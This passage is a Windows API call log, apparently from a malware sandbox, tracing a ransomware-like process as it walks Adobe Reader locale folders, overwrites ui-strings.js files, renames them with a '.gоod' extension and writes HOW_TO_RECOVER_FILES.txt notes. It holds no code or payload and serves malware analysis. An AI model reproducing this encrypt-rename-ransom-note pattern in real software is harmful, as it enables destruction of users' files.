(hFile=0x8a4) returned 0x1 [0265.146] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba70) returned 1 [0265.146] GetFileType (hFile=0x8a4) returned 0x1 [0265.147] WriteFile (in: hFile=0x8a4, lpBuffer=0x38626f0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20bebbc8, lpOverlapped=0x0 | out: lpBuffer=0x38626f0*, lpNumberOfBytesWritten=0x20bebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0265.147] CloseHandle (hObject=0x8a4) returned 1 [0265.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0265.147] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\he-il", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\he-il", lpFilePart=0x0) returned 0x7e [0265.147] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\he-il\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0265.711] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.711] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0265.711] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0265.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0265.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0265.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0265.711] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\he-il", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\he-il", lpFilePart=0x0) returned 0x7e [0265.711] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\he-il\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0265.712] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.712] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0265.712] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0265.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0265.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0265.712] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\he-il\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20beb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\he-il\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0265.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb00) returned 1 [0265.712] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\he-il\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\he-il\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x858 [0265.713] GetFileType (hFile=0x858) returned 0x1 [0265.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba70) returned 1 [0265.714] GetFileType (hFile=0x858) returned 0x1 [0265.714] WriteFile (in: hFile=0x858, lpBuffer=0x37e26a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20bebbc8, lpOverlapped=0x0 | out: lpBuffer=0x37e26a8*, lpNumberOfBytesWritten=0x20bebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0265.715] CloseHandle (hObject=0x858) returned 1 [0265.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0265.715] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr", lpFilePart=0x0) returned 0x7e [0265.715] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac80 [0265.715] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.715] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.716] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0265.716] FindClose (in: hFindFile=0x134ac80 | out: hFindFile=0x134ac80) returned 1 [0265.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0265.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0265.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0265.716] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr", lpFilePart=0x0) returned 0x7e [0265.716] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0265.716] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.716] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.716] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0265.717] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0265.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0265.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0265.717] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0265.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb940) returned 1 [0265.717] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x37f2720 | out: lpFileInformation=0x37f2720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358)) returned 1 [0265.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb900) returned 1 [0265.717] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0265.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0265.717] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0265.717] GetFileType (hFile=0x858) returned 0x1 [0265.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0265.717] GetFileType (hFile=0x858) returned 0x1 [0265.717] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x20beb998 | out: lpFileSizeHigh=0x20beb998*=0x0) returned 0x358 [0265.718] ReadFile (in: hFile=0x858, lpBuffer=0x37f2e40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20beb8c8, lpOverlapped=0x0 | out: lpBuffer=0x37f2e40*, lpNumberOfBytesRead=0x20beb8c8*=0x358, lpOverlapped=0x0) returned 1 [0265.718] CloseHandle (hObject=0x858) returned 1 [0267.802] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0267.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0267.802] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0267.803] GetFileType (hFile=0x86c) returned 0x1 [0267.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0267.803] GetFileType (hFile=0x86c) returned 0x1 [0267.803] WriteFile (in: hFile=0x86c, lpBuffer=0x3c5c7c0*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x20beb7d8, lpOverlapped=0x0 | out: lpBuffer=0x3c5c7c0*, lpNumberOfBytesWritten=0x20beb7d8*=0x360, lpOverlapped=0x0) returned 1 [0267.804] CloseHandle (hObject=0x86c) returned 1 [0267.804] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0267.804] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x91 [0267.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb900) returned 1 [0267.804] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x20beb9e0 | out: lpFileInformation=0x20beb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9bd56233, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x360)) returned 1 [0267.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb8c0) returned 1 [0267.804] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\ui-strings.js.gоod")) returned 1 [0267.805] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20beb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0267.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb00) returned 1 [0267.805] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0267.806] GetFileType (hFile=0x86c) returned 0x1 [0267.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba70) returned 1 [0267.806] GetFileType (hFile=0x86c) returned 0x1 [0267.807] WriteFile (in: hFile=0x86c, lpBuffer=0x3c60110*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20bebbc8, lpOverlapped=0x0 | out: lpBuffer=0x3c60110*, lpNumberOfBytesWritten=0x20bebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0267.807] CloseHandle (hObject=0x86c) returned 1 [0267.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0267.807] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu", lpFilePart=0x0) returned 0x7e [0267.807] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b4c0 [0267.808] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.808] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x359, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.808] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0267.809] FindClose (in: hFindFile=0x134b4c0 | out: hFindFile=0x134b4c0) returned 1 [0267.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0267.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0267.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0267.809] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu", lpFilePart=0x0) returned 0x7e [0267.809] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, 